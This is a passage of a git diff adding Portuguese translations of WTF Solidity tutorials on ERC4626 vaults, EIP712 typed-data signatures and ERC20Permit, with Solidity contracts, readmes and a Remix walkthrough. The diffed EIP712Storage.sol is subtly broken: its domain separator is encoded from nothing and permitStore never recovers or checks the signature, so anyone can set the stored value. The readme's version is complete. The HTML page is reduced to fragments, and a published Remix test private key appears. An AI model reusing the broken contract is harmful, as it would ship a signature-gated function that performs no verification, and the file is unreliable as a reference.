transação. + * - Não deve considerar limites como maxWithdraw, supondo que a transação de retirada do usuário seja bem-sucedida. + * - Deve considerar taxas. + * - Não deve reverter. + */ + function previewWithdraw(uint256 assets) external view returns (uint256 shares); + + /** + * @dev Usado para simular a quantidade de ativos básicos que podem ser resgatados ao destruir uma determinada quantidade de tokens de tesouraria no ambiente atual da cadeia + * - O valor retornado deve ser próximo e não menor do que a quantidade de ativos básicos que seriam resgatados ao destruir a mesma quantidade de tokens de tesouraria na mesma transação. + * - Não deve considerar limites como maxRedeem, supondo que a transação de resgate do usuário seja bem-sucedida. + * - Deve considerar taxas. + * - Não deve reverter. + */ + function previewRedeem(uint256 shares) external view returns (uint256 assets); + + /*////////////////////////////////////////////////////////////// + Lógica de Limites de Depósito/Retirada + //////////////////////////////////////////////////////////////*/ + /** + * @dev Retorna a quantidade máxima de ativos básicos que um determinado endereço pode depositar de uma só vez. + * - Se houver um limite de depósito, o valor retornado deve ser um valor finito. + * - O valor retornado não deve ser maior que 2 ** 256 - 1. + * - Não deve reverter. + */ + function maxDeposit(address receiver) external view returns (uint256 maxAssets); + + /** + * @dev Retorna a quantidade máxima de tokens de tesouraria que um determinado endereço pode emitir de uma só vez. + * - Se houver um limite de emissão, o valor retornado deve ser um valor finito. + * - O valor retornado não deve ser maior que 2 ** 256 - 1. + * - Não deve reverter. + */ + function maxMint(address receiver) external view returns (uint256 maxShares); + + /** +. + * - O valor retornado deve ser um valor finito. + * - Não deve reverter. + */ + function maxWithdraw(address owner) external view returns (uint256 maxAssets); + + /** + * @dev Retorna a quantidade máxima de tokens de tesouraria que um determinado endereço pode destruir de uma só vez. + * - O valor retornado deve ser um valor finito. + * - Se não houver outras restrições, o valor retornado deve ser o balanceOf(owner). + * - Não deve reverter. + */ + function maxRedeem(address owner) external view returns (uint256 maxShares); +} +``` + +### Contrato ERC4626 + +A seguir, vamos implementar um contrato de tesouraria tokenizada simplificado: +- O construtor inicializa o endereço do contrato de ativo básico, o nome e o símbolo dos tokens de tesouraria. É importante que o nome e o símbolo dos tokens de tesouraria estejam relacionados ao ativo básico, por exemplo, se o ativo básico for chamado de `WTF`, é melhor chamar os tokens de tesouraria de `vWTF`. +- Ao fazer um depósito, quando um usuário deposita `x` unidades do ativo básico, serão emitidas `x` unidades (na mesma quantidade) dos tokens de tesouraria. +- Ao fazer uma retirada, quando um usuário destrói `x` unidades dos tokens de tesouraria, serão retiradas `x` unidades (na mesma quantidade) do ativo básico. + +**Observação**: Ao usar este contrato na prática, é importante ter cuidado com o cálculo dos valores relacionados à lógica de contabilidade, como arredondamento para cima ou para baixo. Você pode consultar as implementações do OpenZeppelin e Solmate para obter mais informações sobre isso. Nesta aula, não consideraremos esse aspecto. + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity >=0.8.0; + +import {IERC4626} from "./IERC4626.sol"; +import {ERC20, IERC20Metadata} from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; + +/** + * @dev Contrato ERC4626 "Padrão de Tesouraria Tokenizada", apenas para fins educacionais, não utilizar em produção + */ +contract ERC4626 is ERC20, IERC4626 { + /*////////////////////////////////////////////////////////////// + Variáveis de Estado + //////////////////////////////////////////////////////////////*/ + ERC20 private immutable _asset; // + uint8 private immutable _decimals; + + constructor( + ERC20 asset_, + string memory name_, + string memory symbol_ + ) ERC20(name_, symbol_) { + _asset = asset_; + _decimals = asset_.decimals(); + + } + + /** @dev Veja {IERC4626-asset}. */ + function asset() public view virtual override returns (address) { + return address(_asset); + } + + /** + * Veja {IERC20Metadata-decimals}. + */ + function decimals() public view virtual override(IERC20Metadata, ERC20) returns (uint8) { + return _decimals; + } + + /*////////////////////////////////////////////////////////////// + Lógica de Depósito/Retirada + //////////////////////////////////////////////////////////////*/ + /** @dev Veja {IERC4626-deposit}. */ + function deposit(uint256 assets, address receiver) public virtual override returns (uint256 shares) { + // Calcula a quantidade de tokens de tesouraria a serem obtidos usando a função previewDeposit() + shares = previewDeposit(assets); + + // Transfere primeiro e depois emite, para evitar reentrância + _asset.transferFrom(msg.sender, address(this), assets); + _mint(receiver, shares); + + // Emite o evento Deposit + emit Deposit(msg.sender, receiver, assets, shares); + } + + /** @dev Veja {IERC4626-mint}. */ + function mint(uint256 shares, address receiver) public virtual override returns (uint256 assets) { + // Calcula a quantidade de ativos básicos a serem depositados usando a função previewMint() + assets = previewMint(shares); + + // Transfere primeiro e depois emite, para evitar reentrância + _asset.transferFrom(msg.sender, address(this), assets); + _mint(receiver, shares); + + // Emite o evento Deposit + emit Deposit(msg.sender, receiver, assets, shares); + + } + + /** @dev Veja {IERC4626-withdraw}. */ + function withdraw( + uint256 assets, + address receiver, + address owner + ) public virtual override returns (uint256 shares) { + // Calcula a quantidade de tokens de tesouraria a serem destruídos usando a função previewWithdraw() + shares = previewWithdraw(assets); + + // Se o chamador não for o proprietário, verifica e atualiza a autorização + if (msg.sender != owner) { + _spendAllowance(owner, msg.sender, shares); + } + + // Destrói primeiro e depois transfere, para evitar reentrância + _burn(owner, shares); + _asset.transfer(receiver, assets); + + // Emite o evento Withdraw + emit Withdraw(msg.sender, receiver, owner, assets, shares); + } + + /** @dev Veja {IERC4626-redeem}. */ + function redeem( + uint256 shares, + address receiver, + address owner + ) public virtual override returns (uint256 assets) { + // Calcula a quantidade de ativos básicos a serem resgatados usando a função previewRedeem() + assets = previewRedeem(shares); + + // Se o chamador não for o proprietário, verifica e atualiza a autorização + if (msg.sender != owner) { + _spendAllowance(owner, msg.sender, shares); + } + + // Destrói primeiro e depois transfere, para evitar reentrância + _burn(owner, shares); + _asset.transfer(receiver, assets); + + // Emite o evento Withdraw + emit Withdraw(msg.sender, receiver, owner, assets, shares); + } + + /*////////////////////////////////////////////////////////////// + Lógica de Contabilidade + //////////////////////////////////////////////////////////////*/ + /** @dev Veja {IERC4626-totalAssets}. */ + function totalAssets() public view virtual override returns (uint256){ + // Retorna o saldo do ativo básico na tesouraria + return _asset.balanceOf(address(this)); + } + + /** @dev Veja {IERC4626-convertToShares}. */ + function convertToShares(uint256 assets) public view virtual override returns (uint256) { + uint256 supply = totalSupply(); + // Se o supply for 0, emite tokens de tesouraria na proporção de 1:1 + // Se o supply for diferente de 0, emite tokens de tesouraria proporcionalmente + return supply == 0 ? assets : assets * supply / totalAssets(); + } + + /** @dev Veja {IERC4626-convertToAssets}. */ + function convertToAssets(uint256 shares) public view virtual override returns (uint256) { + uint256 supply = totalSupply(); + // Se o supply for 0, resgata ativos básicos na proporção de 1:1 + // Se o supply for diferente de 0, resgata ativos básicos proporcionalmente + return supply == 0 ? shares : shares * totalAssets() / supply; + } + + /** @dev Veja {IERC4626-previewDeposit}. */ + function previewDeposit(uint256 assets) public view virtual override returns (uint256) { + return convertToShares(assets); + } + + /** @dev Veja {IERC4626-previewMint}. */ + function previewMint(uint256 shares) public view virtual override returns (uint256) { + return convertToAssets(shares); + } + + /** @dev Veja {IERC4626-previewWithdraw}. */ + function previewWithdraw(uint256 assets) public view virtual override returns (uint256) { + return convertToShares(assets); + } + + /** @dev Veja {IERC4626-previewRedeem}. */ + function previewRedeem(uint256 shares) public view virtual override returns (uint256) { + return convertToAssets(shares); + } + + /*////////////////////////////////////////////////////////////// + Lógica de Limites de Depósito/Retirada + //////////////////////////////////////////////////////////////*/ + /** @dev Veja {IERC4626-maxDeposit}. */ + function maxDeposit(address) public view virtual override returns (uint256) { + return type(uint256).max; + } + + /** @dev Veja {IERC4626-maxMint}. */ + function maxMint(address) public view virtual override returns (uint256) { + return type(uint256).max; + } + + /** @dev Veja {IERC4626-maxWithdraw}. */ + function maxWithdraw(address owner) public view virtual override returns (uint256) { + return convertToAssets(balanceOf(owner)); + } + + /** @dev Veja {IERC4626-maxRedeem}. */ + function maxRedeem(address owner) public view virtual override returns (uint256) { + return balanceOf(owner); + } +} +``` + +## Demonstração no Remix + +**Observação:** Os exemplos a seguir são executados usando a segunda conta no Remix, ou seja, `0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2`, para implantar e chamar os métodos do contrato. + +1. Implante o contrato do token ERC20, defina o nome e o símbolo do token como `WTF` e emita `10000` tokens para si mesmo. +![](./img/51-2-1.png) +![](./img/51-2-2.png) + +2. Implante o contrato ERC4626, defina o endereço do contrato de ativo básico como o endereço do token `WTF`, defina o nome e o símbolo dos tokens de tesouraria como `vWTF`. +![](./img/51-3.png) + +3. Chame a função `approve()` do contrato ERC20 para autorizar o contrato ERC4626 a gastar os tokens. +![](./img/51-4.png) + +4. Chame a função `deposit()` do contrato ERC4626 para depositar `1000` tokens. Em seguida, chame a função `balanceOf()` para verificar que o saldo dos tokens de tesouraria agora é `1000`. +![](./img/51-5.png) + +5. Chame a função `mint()` do contrato ERC4626 para depositar mais `1000` tokens. Em seguida, chame a função `balanceOf()` para verificar que o saldo dos tokens de tesouraria agora é `2000`. +![](./img/51-6.png) + +6. Chame a função `withdraw()` do contrato ERC4626 para retirar `1000` tokens. Em seguida, chame a função `balanceOf()` para verificar que o saldo dos tokens de tesouraria agora é `1000`. +![](./img/51-7.png) + +7. Chame a função `redeem()` do contrato ERC4626 para resgatar `1000` tokens. Em seguida, chame a função `balanceOf()` para verificar que o saldo dos tokens de tesouraria agora é `0`. +![](./img/51-8.png) + +## Conclusão + +Nesta aula, apresentamos o padrão ERC4626 para tesourarias tokenizadas e escrevemos um contrato de tesouraria simples que permite a conversão de ativos básicos em tokens de tesouraria na proporção de 1:1. O ERC4626 é importante para melhorar a liquidez e a capacidade de combinação no DeFi, e esperamos que ele se torne mais comum no futuro. Como você usaria o ERC4626 em seus aplicativos? + diff --git a/Languages/pt-br/52_EIP712/EIP712Storage.sol b/Languages/pt-br/52_EIP712/EIP712Storage.sol new file mode 100644 index 000000000..cd410ebe9 --- /dev/null +++ b/Languages/pt-br/52_EIP712/EIP712Storage.sol @@ -0,0 +1,73 @@ +// SPDX-License-Identifier: MIT +// Por 0xAA +pragma solidity ^0.8.0; + +import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; + +contract EIP712Storage { + using ECDSA for bytes32; + + bytes32 private constant EIP712DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"); + bytes32 private constant STORAGE_TYPEHASH = keccak256("Storage(address spender,uint256 number)"); + bytes32 private DOMAIN_SEPARATOR; + uint256 number; + address owner; + + constructor(){ + DOMAIN_SEPARATOR = keccak256(abi.encode( + // type hash + // name + // versão + // chain id + // endereço do contrato + )); + owner = msg.sender; + } + + /** + * @dev Armazena o valor na variável + */ + function permitStore(uint256 _num, bytes memory _signature) public { + // Verificando o comprimento da assinatura, 65 é o comprimento padrão da assinatura r,s,v. + require(_signature.length == 65, "invalid signature length"); + bytes32 r; + bytes32 s; + uint8 v; + // Atualmente, só é possível obter os valores r, s e v da assinatura usando assembly (inline assembly). + assembly { + /* + Os primeiros 32 bytes armazenam o comprimento da assinatura (regra de armazenamento de array dinâmico) + add(sig, 32) = ponteiro de sig + 32 + Equivalente a pular os primeiros 32 bytes da assinatura + mload(p) carrega os próximos 32 bytes de dados a partir do endereço de memória p + */ + // Lendo os 32 bytes de dados de comprimento + r := mload(add(_signature, 0x20)) + // Ler os próximos 32 bytes + s := mload(add(_signature, 0x40)) + // Ler o último byte + v := byte(0, mload(add(_signature, 0x60))) + } + + // Obter o hash da mensagem de assinatura + bytes32 digest = keccak256(abi.encodePacked( + "\x19\x01", + DOMAIN_SEPARATOR, + keccak256(abi.encode(STORAGE_TYPEHASH, msg.sender, _num)) + )); + + // Restaurando o assinante + // Verificar assinatura + + // Modificar a variável de estado + number = _num; + } + + /** + * @dev Retorna o valor + * @return valor de 'number' + */ + function retrieve() public view returns (uint256){ + return number; + } +} diff --git a/Languages/pt-br/52_EIP712/eip712storage.html b/Languages/pt-br/52_EIP712/eip712storage.html new file mode 100644 index 000000000..2daac44af --- /dev/null +++ b/Languages/pt-br/52_EIP712/eip712storage.html @@ -0,0 +1,115 @@ + + + + + + EIP-712 Signature Example + + +

EIP-712 Signature Example

+ + + +
+ + +
+ + +
+ + +
+ + +
+ + +
+

+
+  
钱包地址:
+
ChainID:
+
ETH 余额:
+
签名数据:
+ + + + diff --git a/Languages/pt-br/52_EIP712/img/52-1.png b/Languages/pt-br/52_EIP712/img/52-1.png new file mode 100644 index 000000000..d52d43120 Binary files /dev/null and b/Languages/pt-br/52_EIP712/img/52-1.png differ diff --git a/Languages/pt-br/52_EIP712/img/52-2.png b/Languages/pt-br/52_EIP712/img/52-2.png new file mode 100644 index 000000000..0b521b27a Binary files /dev/null and b/Languages/pt-br/52_EIP712/img/52-2.png differ diff --git a/Languages/pt-br/52_EIP712/img/52-3.png b/Languages/pt-br/52_EIP712/img/52-3.png new file mode 100644 index 000000000..76081409a Binary files /dev/null and b/Languages/pt-br/52_EIP712/img/52-3.png differ diff --git a/Languages/pt-br/52_EIP712/img/52-4.png b/Languages/pt-br/52_EIP712/img/52-4.png new file mode 100644 index 000000000..ab8640e31 Binary files /dev/null and b/Languages/pt-br/52_EIP712/img/52-4.png differ diff --git a/Languages/pt-br/52_EIP712/readme.md b/Languages/pt-br/52_EIP712/readme.md new file mode 100644 index 000000000..6b7101003 --- /dev/null +++ b/Languages/pt-br/52_EIP712/readme.md @@ -0,0 +1,190 @@ +# 52. Assinaturas de Dados Tipados EIP712 + +Recentemente, tenho revisado meus conhecimentos em Solidity para reforçar os detalhes e estou escrevendo uma série chamada "Introdução Mínima ao Solidity" (WTF Solidity) para iniciantes (os programadores avançados podem procurar outros tutoriais). Atualizo de 1 a 3 lições por semana. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk) | [Grupo no WeChat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) | [Website wtf.academy](https://wtf.academy) + +Todo o código e tutoriais estão disponíveis no GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +Nesta lição, vamos falar sobre um método de assinatura mais avançado e seguro chamado Assinaturas de Dados Tipados EIP712. + +## EIP712 + +Anteriormente, falamos sobre o [padrão de assinatura EIP191 (personal sign)](../37_Signature/readme_pt-br.md), que permite assinar uma mensagem. Porém, esse padrão é muito simples e, quando a mensagem a ser assinada é complexa, o usuário só vê uma string hexadecimal (o hash dos dados), sem conseguir verificar se a assinatura está correta. + +A [Assinatura de Dados Tipados EIP712](https://eips.ethereum.org/EIPS/eip-712) é um método mais avançado e seguro de assinatura. Quando um Dapp que suporta o EIP712 solicita uma assinatura, a carteira exibirá os dados originais da mensagem para que o usuário possa verificar e, em seguida, assinar. + +## Como Usar o EIP712 + +A aplicação do EIP712 geralmente envolve duas partes: a assinatura off-chain (no frontend ou em scripts) e a verificação on-chain (no contrato). Abaixo, vamos aprender como usar o EIP712 com um exemplo simples chamado `EIP712Storage`, que possui uma variável de estado `number` que só pode ser modificada com uma assinatura EIP712. + +### Assinatura Off-Chain + +1. Uma assinatura EIP712 deve incluir a parte `EIP712Domain`, que contém o nome do contrato, a versão (geralmente "1"), o chainId e o verifyingContract (o endereço do contrato que verificara a assinatura). + + ```js + EIP712Domain: [ + { name: "name", type: "string" }, + { name: "version", type: "string" }, + { name: "chainId", type: "uint256" }, + { name: "verifyingContract", type: "address" }, + ] + ``` + + Essas informações serão exibidas para o usuário durante a assinatura e garantirão que apenas contratos específicos de uma chain específica possam verificar a assinatura. Você precisará passar esses parâmetros no script. + + ```js + const domain = { + name: "EIP712Storage", + version: "1", + chainId: "1", + verifyingContract: "0xf8e81D47203A594245E36C48e151709F0C19fBe8", + }; + ``` + +2. Você precisa definir um tipo de dados de assinatura personalizado conforme a necessidade do cenário. No exemplo do `EIP712Storage`, definimos um tipo `Storage` com dois membros: `spender`, do tipo `address`, que define quem pode modificar a variável; e `number`, do tipo `uint256`, que define o valor a ser modificado. + + ```js + const types = { + Storage: [ + { name: "spender", type: "address" }, + { name: "number", type: "uint256" }, + ], + }; + ``` +3. Crie uma variável `message` com os dados a serem assinados. + + ```js + const message = { + spender: "0x5B38Da6a701c568545dCfcB03FcB875f56beddC4", + number: "100", + }; + ``` + +4. Chame o método `signTypedData()` do objeto da carteira, passando as variáveis `domain`, `types` e `message` para assinar (usaremos o `ethersjs v6`). + + ```js + // Obtenha o provedor + const provider = new ethers.BrowserProvider(window.ethereum) + // Obtenha o signer e chame o método signTypedData para a assinatura EIP712 + const signature = await signer.signTypedData(domain, types, message); + console.log("Assinatura:", signature); + ``` + +### Verificação On-Chain + +Agora, vamos nos concentrar na parte do contrato `EIP712Storage`, que precisa verificar a assinatura para modificar a variável `number`. O contrato possui 5 variáveis de estado. + +1. `EIP712DOMAIN_TYPEHASH`: o hash do tipo `EIP712Domain`, é uma constante. +2. `STORAGE_TYPEHASH`: o hash do tipo `Storage`, é uma constante. +3. `DOMAIN_SEPARATOR`: este valor único misturado na assinatura é composto pelo `EIP712DOMAIN_TYPEHASH` e pelas informações do `EIP712Domain` (nome, versão, chainId, verifyingContract) e é inicializado no `constructor()`. +4. `number`: a variável de estado que armazena o valor, que pode ser modificado pelo método `permitStore()`. +5. `owner`: o dono do contrato, inicializado no `constructor()` e verificado na função `permitStore()`. + +Além disso, o contrato `EIP712Storage` possui 3 funções: + +1. Construtor: inicializa o `DOMAIN_SEPARATOR` e o `owner`. +2. `retrieve()`: lê o valor de `number`. +3. `permitStore`: verifica a assinatura EIP712 e modifica o valor de `number`. Primeiro, ele separa a assinatura em `r`, `s` e `v`. Em seguida, combina o `DOMAIN_SEPARATOR`, `STORAGE_TYPEHASH`, o endereço do chamador e o parâmetro `_num` de entrada para obter a mensagem assinada `digest`. Por fim, usando o método `recover()` da `ECDSA`, ele recupera o endereço do assinante e, se a assinatura for válida, atualiza o valor de `number`. + +Abaixo está a implementação em Solidity do contrato `EIP712Storage`: + +```solidity +// SPDX-License-Identifier: MIT +// By 0xAA +pragma solidity ^0.8.0; + +import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; + +contract EIP712Storage { + using ECDSA for bytes32; + + bytes32 private constant EIP712DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"); + bytes32 private constant STORAGE_TYPEHASH = keccak256("Storage(address spender,uint256 number)"); + bytes32 private DOMAIN_SEPARATOR; + uint256 number; + address owner; + + constructor(){ + DOMAIN_SEPARATOR = keccak256(abi.encode( + EIP712DOMAIN_TYPEHASH, // tipo hash + keccak256(bytes("EIP712Storage")), // nome + keccak256(bytes("1")), // versão + block.chainid, // chain id + address(this) // endereço do contrato + )); + owner = msg.sender; + } + + /** + * @dev Armazena valor na variável + */ + function permitStore(uint256 _num, bytes memory _signature) public { + // Verifica o comprimento da assinatura, onde 65 é o comprimento padrão das assinaturas r, s, v + require(_signature.length == 65, "comprimento de assinatura inválido"); + bytes32 r; + bytes32 s; + uint8 v; + // Atualmente só conseguimos obter os valores r, s, v através de assembly + assembly { + /* + Os primeiros 32 bytes armazenam o comprimento da assinatura (regra de armazenamento de arrays dinâmicos) + add(sig, 32) = ponteiro de sig + 32 + Isso é equivalente a pular os 32 primeiros bytes da assinatura + mload(p) carrega os próximos 32 bytes de dados a partir do endereço de memória p + */ + // Lê os próximos 32 bytes após o comprimento + r := mload(add(_signature, 0x20)) + // Lê os próximos 32 bytes + s := mload(add(_signature, 0x40)) + // Lê o último byte + v := byte(0, mload(add(_signature, 0x60))) + } + + // Obter o hash da mensagem assinada + bytes32 digest = keccak256(abi.encodePacked( + "\x19\x01", + DOMAIN_SEPARATOR, + keccak256(abi.encode(STORAGE_TYPEHASH, msg.sender, _num)) + )); + + address signer = digest.recover(v, r, s); // Recupera o endereço do assinante + require(signer == owner, "EIP712Storage: Assinatura inválida"); // Verifica a assinatura + + // Modifica a variável de estado + number = _num; + } + + /** + * @dev Retorna o valor + * @return valor de 'number' + */ + function retrieve() public view returns (uint256){ + return number; + } +} +``` + +## Reproduzindo no Remix + +1. Implante o contrato `EIP712Storage`. + +2. Execute o arquivo `eip712storage.html`, alterando o `Endereço do Contrato` para o endereço do contrato `EIP712Storage` implantado. Em seguida, clique em `Conectar Metamask` e em `Assinar Permitir`. A assinatura deve ser feita usando a carteira do contrato implantada, como a carteira de teste do Remix: + + ```js + Chave Pública: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 + Chave Privada: 503f38a9c967ed597e47fe25643985f032b072db8075426a92110f82df48dfcb + ``` + +3. Chame o método `permitStore()` do contrato, inserindo o `_num` e a assinatura adequada para modificar o valor de `number`. + +4. Chame o método `retrieve()` do contrato para ver o novo valor de `number`. + +## Conclusão + +Espero que você tenha compreendido bem esse método de assinatura mais avançado e seguro que é o EIP712. Ele é amplamente utilizado em diversos projetos, como Metamask, pares de tokens no Uniswap, DAI e muitos outros. Eu espero que você consiga dominar essa técnica com sucesso. + diff --git a/Languages/pt-br/53_ERC20Permit/ERC20Permit.sol b/Languages/pt-br/53_ERC20Permit/ERC20Permit.sol new file mode 100644 index 000000000..3d49cd0c4 --- /dev/null +++ b/Languages/pt-br/53_ERC20Permit/ERC20Permit.sol @@ -0,0 +1,79 @@ +// SPDX-License-Identifier: MIT + +pragma solidity ^0.8.0; + +import "./IERC20Permit.sol"; +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; +import "@openzeppelin/contracts/utils/cryptography/EIP712.sol"; + +/** + * @dev Interface extension for ERC20 Permit, allowing approvals to be made via signatures, as defined in https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. + * + * Adds the {permit} method, which can be used to change the allowance of an account's ERC20 balance by a signed message. This allows token holders to approve without the need to send a transaction, and therefore without the need to hold Ether. + */ +contract ERC20Permit is ERC20, IERC20Permit, EIP712 { + mapping(address => uint) private _nonces; + + bytes32 private constant _PERMIT_TYPEHASH = + keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); + + /** + * @dev Inicializa o nome do EIP712 e o nome e símbolo do ERC20 + */ + constructor(string memory name, string memory symbol) EIP712(name, "1") ERC20(name, symbol){} + + /** + * @dev Veja {IERC20Permit-permit}. + */ + function permit( + address owner, + address spender, + uint256 value, + uint256 deadline, + uint8 v, + bytes32 r, + bytes32 s + ) public virtual override { + // Verificar prazo + require(block.timestamp <= deadline, "ERC20Permit: expired deadline"); + + // Concatenar Hash + bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline)); + bytes32 hash = _hashTypedDataV4(structHash); + + // Calcular o signatário a partir da assinatura e da mensagem, e verificar a assinatura + address signer = ECDSA.recover(hash, v, r, s); + require(signer == owner, "ERC20Permit: invalid signature"); + + // Autorização + _approve(owner, spender, value); + } + + /** + * @dev Veja {IERC20Permit-nonces}. + */ + function nonces(address owner) public view virtual override returns (uint256) { + return _nonces[owner]; + } + + /** + * @dev Veja {IERC20Permit-DOMAIN_SEPARATOR}. + */ + function DOMAIN_SEPARATOR() external view override returns (bytes32) { + return _domainSeparatorV4(); + } + + /** + * @dev "Consumir nonce": Retorna o `nonce` atual do `owner` e incrementa em 1. + */ + function _useNonce(address owner) internal virtual returns (uint256 current) { + current = _nonces[owner]; + _nonces[owner] += 1; + } + + // @dev Cunhar tokens + function mint(uint amount) external { + _mint(msg.sender, amount); + } +} \ No newline at end of file diff --git a/Languages/pt-br/53_ERC20Permit/IERC20Permit.sol b/Languages/pt-br/53_ERC20Permit/IERC20Permit.sol new file mode 100644 index 000000000..8b6419dba --- /dev/null +++ b/Languages/pt-br/53_ERC20Permit/IERC20Permit.sol @@ -0,0 +1,47 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +/** + * @dev Interface extension for ERC20 Permit, allowing approvals to be made via signatures, as defined in https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. + * + * Adds the {permit} method, which can be used to change the allowance of an account's ERC20 balance by a signed message. This allows token holders to approve without the need to send a transaction, and therefore without the need to hold Ether. + */ +interface IERC20Permit { + /** + * @dev Autoriza o saldo de ERC20 do `owner` para o `spender`, com quantidade `value`, com base na assinatura do `owner`. + * + * Emite o evento {Approval}. + * + * Requisitos: + * + * - O `spender` não pode ser um endereço zero. + * - O `deadline` deve ser um timestamp futuro. + * - O `v`, `r` e `s` devem ser uma assinatura `secp256k1` válida do `owner` nos parâmetros da função no formato EIP712. + * - A assinatura deve usar o nonce atual do `owner` (consulte {nonces}). + * + * Para mais informações sobre o formato de assinatura, consulte + * https://eips.ethereum.org/EIPS/eip-2612#specification. + */ + function permit( + address owner, + address spender, + uint256 value, + uint256 deadline, + uint8 v, + bytes32 r, + bytes32 s + ) external; + + /** + * @dev Retorna o nonce atual do `owner`. Este valor deve ser incluído sempre que gerar uma assinatura para {permit}. + * + * Cada chamada bem-sucedida para {permit} aumentará o nonce do `owner` em 1. Isso evita o uso de assinaturas múltiplas. + */ + function nonces(address owner) external view returns (uint256); + + /** + * @dev Retorna o separador de domínio (domain separator) usado para codificar a assinatura do {permit}, conforme definido pelo {EIP712}. + */ + // solhint-disable-next-line func-name-mixedcase + function DOMAIN_SEPARATOR() external view returns (bytes32); +} \ No newline at end of file diff --git a/Languages/pt-br/53_ERC20Permit/img/53-1.png b/Languages/pt-br/53_ERC20Permit/img/53-1.png new file mode 100644 index 000000000..6290d4630 Binary files /dev/null and b/Languages/pt-br/53_ERC20Permit/img/53-1.png differ diff --git a/Languages/pt-br/53_ERC20Permit/img/53-2.png b/Languages/pt-br/53_ERC20Permit/img/53-2.png new file mode 100644 index 000000000..0342213ef Binary files /dev/null and b/Languages/pt-br/53_ERC20Permit/img/53-2.png differ diff --git a/Languages/pt-br/53_ERC20Permit/readme.md b/Languages/pt-br/53_ERC20Permit/readme.md new file mode 100644 index 000000000..865ddcdb7 --- /dev/null +++ b/Languages/pt-br/53_ERC20Permit/readme.md @@ -0,0 +1,196 @@ +# 53. ERC-2612 ERC20Permit + +Eu recentemente tenho revisitado o solidity para consolidar alguns detalhes e escrever um "WTF Solidity - Introdução Simples" para iniciantes (programadores mais avançados podem buscar outros tutoriais), com atualizações semanais de 1 a 3 aulas. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk) | [Grupo no WeChat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) | [Site oficial wtf.academy](https://wtf.academy) + +Todo o código e tutoriais estão disponíveis no GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +Nesta aula, vamos explorar uma extensão do padrão ERC20, o ERC20Permit, que permite que as autorizações sejam feitas por meio de assinaturas, melhorando a experiência do usuário. Essa funcionalidade foi proposta no EIP-2612, foi incluída como um padrão Ethereum e é utilizada por tokens como USDC e ARB. + +## ERC20 + +No [tutorial 31](https://github.com/AmazingAng/WTF-Solidity/blob/main/31_ERC20/readme.md), expliquei sobre o padrão ERC20, o padrão de token mais popular do Ethereum. Uma das razões principais de sua popularidade é a combinação das funções `approve` e `transferFrom`, que permitem que os tokens sejam transferidos não apenas entre contas externas (EOA), mas também entre contratos. + +No entanto, a função `approve` do ERC20 limita as autorizações apenas para o proprietário do token, o que implica que todas as operações iniciais com tokens ERC20 devem ser feitas pela EOA. Por exemplo, se um usuário A estiver trocando USDT por ETH em uma exchange descentralizada, seria necessário realizar duas transações: a primeira para que o usuário A autorize o contrato a usar seus USDT e a segunda para realizar a troca. Isso é inconveniente e o usuário precisa ter ETH para pagar a taxa de transação. + +## ERC20Permit + +O EIP-2612 propôs o ERC20Permit, uma extensão do padrão ERC20 que introduz a função `permit`, que permite que os usuários modifiquem a autorização por meio de assinaturas EIP-712, sem depender do `msg.sender`. Isso traz duas principais vantagens: + +1. A etapa de autorização requer apenas uma assinatura offline do usuário, reduzindo uma transação. +2. Após assinar, o usuário pode delegar a terceiros transações subsequentes, sem a necessidade de possuir ETH. Por exemplo, o usuário A pode enviar a assinatura para um terceiro B que possui ETH para executar as transações. + +## Contratos + +### Contrato de interface IERC20Permit + +Primeiramente, vamos analisar o contrato de interface do ERC20Permit, que define 3 funções: + +- `permit()`: permite que o `owner` assine e autorize a transferência de saldo ERC20 para o `spender`, na quantidade `value`. Requerimentos especiais: + + - O `spender` não pode ser um endereço zero. + - O `deadline` deve ser um timestamp no futuro. + - `v`, `r` e `s` devem ser uma assinatura válida em formato EIP712 com os parâmetros da função. + - A assinatura deve utilizar o nonce atual do `owner`. + +- `nonces()`: retorna o nonce atual do `owner`. Cada vez que a função `permit()` é chamada com sucesso, o nonce do `owner` é incrementado em 1 para evitar multiple signatures. + +- `DOMAIN_SEPARATOR()`: retorna o separador de domínio utilizado para codificar a assinatura da função `permit`. + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +/** + * @dev Interface para a extensão ERC20 Permit, permitindo autorizações por assinatura, conforme definido no https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. + */ +interface IERC20Permit { + /** + * @dev Permite que o `owner` assine e autorize a transferência de saldo ERC20 para o `spender`, na quantidade `value` + */ + function permit( + address owner, + address spender, + uint256 value, + uint256 deadline, + uint8 v, + bytes32 r, + bytes32 s + ) external; + + /** + * @dev Retorna o nonce atual do `owner`. Cada vez que a função {permit} gera uma assinatura, este valor deve ser incluído. + */ + function nonces(address owner) external view returns (uint256); + + /** + * @dev Retorna o separador de domínio usado para codificar a assinatura da função {permit} + */ + function DOMAIN_SEPARATOR() external view returns (bytes32); +} +``` + +### 